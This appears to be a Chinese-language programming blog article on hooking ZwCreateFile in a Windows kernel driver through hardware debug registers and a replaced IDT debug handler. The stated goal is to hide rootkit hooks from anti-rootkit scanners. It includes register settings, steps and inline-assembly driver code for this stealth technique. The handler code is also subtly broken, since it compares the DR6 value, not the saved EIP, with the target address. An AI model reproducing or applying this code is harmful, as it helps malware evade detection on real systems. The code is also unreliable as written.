Rootkit 常透過 Inline Hook 隱藏檔案/進程/註冊表,反 Rootkit (ARK) 掃描器會嘗試從磁碟恢復原始碼並呼叫以檢測異常。若能在不修改目標函數指令碼的前提下實現 Hook,即可繞過此類檢測。
| 暫存器 | 關鍵位 | 功能 |
| DR7 | L0/G0 (bit 0/1) | 啟用 DR0 區域/全域斷點 |
| DR7 | R/W0 (bit 16/17) | 00=執行, 01=資料寫, 11=資料讀寫 |
| DR7 | LEN0 (bit 18/19) | 00=1 byte, 01=2 bytes, 11=4 bytes |
| DR7 | GD (bit 13) | 啟用除錯暫存器存取保護 |
| DR6 | B0 (bit 0) | DR0 觸發標記 |
| DR6 | BD (bit 13) | 偵測到對 DRx 的存取 |
Hook 實作步驟
- 將目標函數位址 (如
ZwCreateFile) 寫入 DR0
- 設定 DR7:L0=1, G0=1, R/W0=00, LEN0=00, GD=1
- 修改 IDT 表 中的第 1 號中斷向量 (Debug Exception),指向自訂處理常式
- 在中斷處理常式中:
- 檢查 DR6.B0 確認為 DR0 觸發
- 比對堆疊上 EIP 是否為目標函數位址
- 修改堆疊上 EIP 指向自訂 Hook 函數
- 恢復 DR7.GD 位,執行
iretd 返回
關鍵挑戰與對策
1. Windows 會在 KiFastCall/執行緒切換時修改 DRx
對策:啟用 DR7.GD 位,任何對 DRx 的讀寫都會觸發 #DB 例外,在處理常式中檢測 DR6.BD,略過該指令 (EIP+3) 並恢復 GD 位。
2. 驅動卸載時需清理
恢復 IDT、清除 DR7、移除硬體斷點。
核心程式碼片段 (C++ 驅動)
// 設定硬體斷點
void SetHB() {
__asm {
mov eax, ZwCreateFile
mov dr0, eax
mov eax, dr7
or eax, 0x2703 // L0=1,G0=1,GD=1
and eax, 0xfff0ffff // R/W0=00, LEN0=00
mov dr7, eax
}
}
// #DB 中斷處理常式 (naked)
__declspec(naked) void NewDBEntry() {
__asm {
pushfd; push eax
mov eax, dr6
test eax, 0x2000 // BD bit?
jz NOT_EDIT_DRX
// 處理 DRx 存取: 略過指令
and eax, 0xFFFFDFFF
mov dr6, eax
mov eax, [esp+8]
add eax, 3
mov [esp+8], eax
jmp MY_INT_END
NOT_EDIT_DRX:
test eax, 1 // B0 bit?
jz SYS_INT
cmp eax, ZwCreateFile
jnz SYS_INT
mov eax, NewZwCreateFile
mov [esp+8], eax // 修改返回 EIP
MY_INT_END:
mov eax, dr7
or eax, 0x2000 // 恢復 GD
mov dr7, eax
pop eax; popfd; iretd
SYS_INT:
pop eax; popfd; jmp g_OldDBEntry
}
}
優缺點評析
- 優點:不修改目標程式碼,繞過 Inline Hook 掃描;每 CPU 核心獨立 DRx,天然支援多核
- 缺點:僅 4 條硬體斷點,資源極度有限;與除錯器/加殼器衝突;需修改 IDT 屬核心模式行為,穩定性風險高
此技術多用於安全研究與 Rootkit 對抗,生產環境極少採用。
- 上一篇文章: VB.NET GIS 等值線分析函數:LayerCreateISOLine 參數詳解
- 下一篇文章: ReportX 2.3.1.0:功能強大的網頁報表元件 (OCX)
Copyright ©
程式碼之家 All Rights Reserved